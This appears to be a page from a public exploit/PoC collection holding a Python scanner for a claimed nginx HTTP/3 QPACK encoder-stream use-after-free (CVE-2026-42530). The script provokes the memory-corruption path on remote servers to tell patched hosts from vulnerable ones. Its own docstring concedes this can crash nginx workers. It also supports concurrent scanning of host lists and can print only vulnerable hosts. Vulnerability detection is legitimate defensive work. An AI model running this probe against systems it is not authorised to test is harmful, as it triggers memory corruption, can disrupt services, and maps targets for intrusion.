5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / scanner_CVE-2026-42530.py PY
#!/usr/bin/env python3
# Author:   Valton Tahiri
# GitHub:   https://github.com/v4ltonn
# Date:     2026-06-19
# Bug:      CVE-2026-42530 -- nginx HTTP/3 QPACK encoder stream UAF
"""
scanner_CVE-2026-42530.py -- Public scanner for CVE-2026-42530

Detects whether a remote nginx server is running a version affected by
CVE-2026-42530 (QPACK encoder stream Use-After-Free in ngx_http_v3_module).

Affected:  nginx 1.31.0, 1.31.1
Fixed:     nginx 1.31.2 (2026-06-17)
CVSS 4.0:  9.2 CRITICAL

Detection technique
-------------------
RFC 9114 section 6.2 forbids a client from opening more than one QPACK
encoder stream per connection.  Compliant servers (nginx 1.31.2+) MUST
close the connection with H3_STREAM_CREATION_ERROR (0x103) when a second
encoder stream is opened.

nginx 1.31.0-1.31.1 tracks the encoder stream via h3c->known_streams[index],
a raw pointer cleared to NULL when the stream closes.  The probe exploits this
with two sequential encoder streams:

  Stream 6 (encoder #1): type byte 0x02 + QPACK Insert-With-Name-Reference.
    No prior Set-Dynamic-Table-Capacity means dt->capacity == 0, so nginx
    rejects the insert with QPACK_ENCODER_STREAM_ERROR (0x201) and calls
    ngx_http_v3_close_uni_stream() which sets known_streams[encoder] = NULL
    and frees the stream pool.  A deferred connection-close event is posted.

  Stream 10 (encoder #2): identical bytes, sent shortly after.
    When nginx's ACK of stream 6 arrives, aioquic transmits stream 10.
    nginx receives stream 10 BEFORE the deferred close event fires.

  VULNERABLE (1.31.0/1.31.1):
    known_streams[encoder] == NULL (cleared by stream 6's close) ->
    duplicate check passes -> second encoder accepted -> UAF pool write ->
    same QPACK error -> qc->error stays 0x201.

  PATCHED (1.31.2+):
    h3c->created_streams bitmask (never cleared) still has the encoder bit
    set -> H3_STREAM_CREATION_ERROR (0x103) overwrites qc->error before
    the deferred close fires.

Observable difference:
  VULNERABLE  -> CONNECTION_CLOSE with 0x201 (QPACK_ENCODER_STREAM_ERROR)
  PATCHED     -> CONNECTION_CLOSE with 0x103 (H3_STREAM_CREATION_ERROR)

Stream allocation
-----------------
nginx sets initial_max_streams_uni = 3, so aioquic blocks any stream beyond
the third client-initiated unidirectional stream.  To stay within this limit
the probe occupies:
  stream 2  -- H3 control stream (SETTINGS)
  stream 6  -- QPACK encoder #1  (normally the QPACK decoder slot)
  stream 10 -- QPACK encoder #2  (normally the QPACK encoder slot)

No QPACK decoder stream is sent.  nginx does not require one before processing
encoder stream registrations.

Safety note
-----------
The scan does NOT reliably crash an unpatched nginx worker.  Without
AddressSanitizer, the UAF write on a production build usually corrupts a
pool slot benignly and results only in a connection teardown.  However, on
systems with certain allocator layouts the worker CAN crash.  Only scan
hosts you own or are authorised to test.

Usage
-----
  pip install aioquic
  # single host:
  python3 scanner_CVE-2026-42530.py 127.0.0.1 8443

  # multiple hosts from a file (one host:port per line):
  python3 scanner_CVE-2026-42530.py --file hosts.txt

  # concurrency (default 5):
  python3 scanner_CVE-2026-42530.py --file hosts.txt --concurrency 10

  # quiet (print only VULNERABLE results):
  python3 scanner_CVE-2026-42530.py --file hosts.txt -q
"""

import argparse
import asyncio
import ssl
import struct
import sys
import time
from dataclasses import dataclass
from typing import Optional

try:
    from aioquic.asyncio import connect
    from aioquic.asyncio.protocol import QuicConnectionProtocol
    from aioquic.h3.connection import H3_ALPN
    from aioquic.quic.configuration import QuicConfiguration
    from aioquic.quic.events import ConnectionTerminated, QuicEvent
    from aioquic.tls import Epoch
except ImportError:
    print("[!] aioquic not installed.  Run: pip install aioquic")
    sys.exit(1)


# ---------------------------------------------------------------------------
# Wire format helpers
# ---------------------------------------------------------------------------

def varint(n: int) -> bytes:
    if n < 0x40:
        return bytes([n])
    elif n < 0x4000:
        return struct.pack(">H", 0x4000 | n)
    elif n < 0x40000000:
        return struct.pack(">I", 0x80000000 | n)
    else:
        return struct.pack(">Q", 0xC000000000000000 | n)


def h3_frame(frame_type: int, payload: bytes) -> bytes:
    return varint(frame_type) + varint(len(payload)) + payload


def h3_settings_empty() -> bytes:
    return h3_frame(0x04, b"")


# Client-initiated unidirectional stream IDs (type bits = 0b10, so 4n+2):
#   stream 2  -> control stream
#   stream 6  -> repurposed as QPACK encoder #1  (avoids stream-limit block)
#   stream 10 -> QPACK encoder #2
STREAM_CONTROL   = 2
STREAM_ENCODER_1 = 6
STREAM_ENCODER_2 = 10

# QPACK Insert-With-Name-Reference targeting static table entry 0 with
# empty value.  Without a prior Set-Dynamic-Table-Capacity the dynamic
# table capacity is 0; nginx rejects the insert with 0x201 (encoder
# stream error) and closes the uni-stream, clearing known_streams[encoder]
# in 1.31.1 while leaving the created_streams bitmask bit intact in 1.31.2.
QPACK_INR = bytes([0xC0, 0x00])

CONTROL_DATA   = bytes([0x00]) + h3_settings_empty()
ENCODER_1_DATA = bytes([0x02]) + QPACK_INR   # stream type + INR
ENCODER_2_DATA = bytes([0x02]) + QPACK_INR   # stream type + INR

# H3 / QPACK error codes
H3_STREAM_CREATION_ERROR   = 0x103
H3_CLOSED_CRITICAL_STREAM  = 0x104
QPACK_ENCODER_STREAM_ERROR = 0x201


# ---------------------------------------------------------------------------
# Scan result
# ---------------------------------------------------------------------------

@dataclass
class ScanResult:
    host:      str
    port:      int
    status:    str          # "VULNERABLE" | "PATCHED" | "NOT_H3" | "ERROR"
    code:      Optional[int]
    detail:    str
    elapsed_s: float


# ---------------------------------------------------------------------------
# Protocol probe
# ---------------------------------------------------------------------------

class EncoderProbe(QuicConnectionProtocol):

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._done   = asyncio.Event()
        self._code   = None
        self._reason = ""

    def transmit(self) -> None:
        # Suppress any pending QUIC ACK frame so it does not compete with
        # STREAM frames for packet space.  aioquic will still ACK on the
        # next received datagram; this is safe for a short-lived probe.
        self._quic._spaces[Epoch.ONE_RTT].ack_at = None
        super().transmit()

    def quic_event_received(self, event: QuicEvent) -> None:
        if isinstance(event, ConnectionTerminated):
            self._code   = event.error_code
            self._reason = str(event.reason_phrase)
            self._done.set()

    async def probe(self, timeout: float = 8.0) -> tuple[Optional[int], str]:
        # Allow the QUIC handshake to settle.
        await asyncio.sleep(0.2)

        # Send H3 control stream so nginx processes our SETTINGS.
        self._quic.send_stream_data(STREAM_CONTROL, CONTROL_DATA, end_stream=False)
        self.transmit()

        # Wait for nginx to send its own H3 setup frames (control stream,
        # QPACK encoder/decoder streams).  This ensures the connection is
        # fully established before we provoke the duplicate-encoder check.
        await asyncio.sleep(0.4)

        # Send encoder #1 (QPACK error trigger) followed immediately by
        # encoder #2 (duplicate-stream probe).  Stream 6 (encoder #1) is
        # within nginx's initial_max_streams_uni = 3 limit; aioquic
        # transmits encoder #2 (stream 10) when nginx ACKs encoder #1,
        # before the deferred connection-close event fires on nginx's side.
        self._quic.send_stream_data(STREAM_ENCODER_1, ENCODER_1_DATA, end_stream=False)
        self._quic.send_stream_data(STREAM_ENCODER_2, ENCODER_2_DATA, end_stream=False)
        self.transmit()

        try:
            await asyncio.wait_for(self._done.wait(), timeout=timeout)
        except asyncio.TimeoutError:
            return None, "timeout"

        return self._code, self._reason


# ---------------------------------------------------------------------------
# Single-host scan
# ---------------------------------------------------------------------------

async def scan_one(host: str, port: int, timeout: float) -> ScanResult:
    t0 = time.monotonic()

    cfg = QuicConfiguration(
        alpn_protocols=H3_ALPN,
        is_client=True,
        verify_mode=ssl.CERT_NONE,
        max_datagram_size=1350,
    )

    try:
        async with connect(
            host,
            port,
            configuration=cfg,
            create_protocol=EncoderProbe,
            wait_connected=False,
        ) as proto:
            code, reason = await proto.probe(timeout=timeout)
    except ConnectionRefusedError:
        return ScanResult(host, port, "ERROR", None,
                          "connection refused (no UDP listener?)", time.monotonic() - t0)
    except OSError as e:
        return ScanResult(host, port, "NOT_H3", None,
                          f"network error: {e}", time.monotonic() - t0)
    except Exception as e:
        return ScanResult(host, port, "ERROR", None,
                          f"{type(e).__name__}: {e}", time.monotonic() - t0)

    elapsed = time.monotonic() - t0

    if code is None:
        return ScanResult(host, port, "VULNERABLE", code,
                          "timeout -- second encoder accepted silently (non-ASAN build UAF)", elapsed)

    if code == H3_STREAM_CREATION_ERROR:
        return ScanResult(host, port, "PATCHED", code,
                          "0x103 H3_STREAM_CREATION_ERROR -- second encoder rejected", elapsed)

    if code == H3_CLOSED_CRITICAL_STREAM:
        return ScanResult(host, port, "ERROR", code,
                          "0x104 H3_CLOSED_CRITICAL_STREAM -- unexpected", elapsed)

    if code == QPACK_ENCODER_STREAM_ERROR:
        return ScanResult(host, port, "VULNERABLE", code,
                          "0x201 QPACK_ENCODER_STREAM_ERROR -- second encoder accepted, UAF write occurred", elapsed)

    if code == 0:
        return ScanResult(host, port, "VULNERABLE", code,
                          "code 0 -- connection dropped after UAF (possible worker crash)", elapsed)

    # Any other non-0x103 close means the second encoder was not rejected.
    return ScanResult(host, port, "VULNERABLE", code,
                      f"0x{code:x} ({reason!r}) -- second encoder accepted", elapsed)


# ---------------------------------------------------------------------------
# Formatter
# ---------------------------------------------------------------------------

def fmt_result(r: ScanResult, quiet: bool) -> Optional[str]:
    target  = f"{r.host}:{r.port}"
    elapsed = f"{r.elapsed_s:.2f}s"

    if r.status == "VULNERABLE":
        return f"[VULNERABLE]  {target:<30s}  {elapsed}  -- {r.detail}"

    if quiet:
        return None

    if r.status == "PATCHED":
        return f"[patched]     {target:<30s}  {elapsed}  -- {r.detail}"
    if r.status == "NOT_H3":
        return f"[not-h3]      {target:<30s}  {elapsed}  -- {r.detail}"
    return     f"[error]       {target:<30s}  {elapsed}  -- {r.detail}"


# ---------------------------------------------------------------------------
# Batch scan with concurrency limit
# ---------------------------------------------------------------------------

async def scan_batch(
    targets: list[tuple[str, int]],
    concurrency: int,
    timeout: float,
    quiet: bool,
) -> list[ScanResult]:
    sem = asyncio.Semaphore(concurrency)

    async def guarded(host: str, port: int) -> ScanResult:
        async with sem:
            r = await scan_one(host, port, timeout)
            line = fmt_result(r, quiet)
            if line:
                print(line, flush=True)
            return r

    return list(await asyncio.gather(*[guarded(h, p) for h, p in targets]))


# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------

def parse_targets(args: argparse.Namespace) -> list[tuple[str, int]]:
    targets: list[tuple[str, int]] = []

    if args.host:
        targets.append((args.host, args.port))

    if args.file:
        try:
            with open(args.file) as f:
                for lineno, raw in enumerate(f, 1):
                    line = raw.strip()
                    if not line or line.startswith("#"):
                        continue
                    if ":" in line:
                        h, p_str = line.rsplit(":", 1)
                        try:
                            targets.append((h, int(p_str)))
                        except ValueError:
                            print(f"[!] line {lineno}: bad port {p_str!r}, skipping",
                                  file=sys.stderr)
                    else:
                        targets.append((line, 443))
        except OSError as e:
            print(f"[!] cannot open {args.file}: {e}", file=sys.stderr)
            sys.exit(1)

    return targets


async def main() -> None:
    parser = argparse.ArgumentParser(
        description="CVE-2026-42530 scanner -- nginx 1.31.0-1.31.1 QPACK encoder UAF"
    )
    parser.add_argument("host", nargs="?", help="Single target hostname or IP")
    parser.add_argument("port", nargs="?", type=int, default=443,
                        help="Port (default: 443, used only with positional host)")
    parser.add_argument("-f", "--file", metavar="FILE",
                        help="File with targets, one host[:port] per line")
    parser.add_argument("-c", "--concurrency", type=int, default=5,
                        help="Parallel probes (default: 5)")
    parser.add_argument("-t", "--timeout", type=float, default=8.0,
                        help="Per-probe timeout in seconds (default: 8)")
    parser.add_argument("-q", "--quiet", action="store_true",
                        help="Print only VULNERABLE results")
    args = parser.parse_args()

    targets = parse_targets(args)
    if not targets:
        parser.print_help()
        sys.exit(1)

    print(f"CVE-2026-42530 scanner  |  targets: {len(targets)}  "
          f"concurrency: {args.concurrency}  timeout: {args.timeout}s")
    print(f"Probe: H3 control(stream 2) + encoder#1(stream 6) + encoder#2(stream 10)")
    print(f"PATCHED=0x103  VULNERABLE=0x201")
    print()

    t0 = time.monotonic()
    results = await scan_batch(targets, args.concurrency, args.timeout, args.quiet)
    elapsed = time.monotonic() - t0

    vuln  = sum(1 for r in results if r.status == "VULNERABLE")
    patch = sum(1 for r in results if r.status == "PATCHED")
    err   = sum(1 for r in results if r.status in ("ERROR", "NOT_H3"))

    print()
    print(f"Done in {elapsed:.1f}s  --  "
          f"VULNERABLE: {vuln}  patched: {patch}  error/not-h3: {err}")


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[*] Interrupted")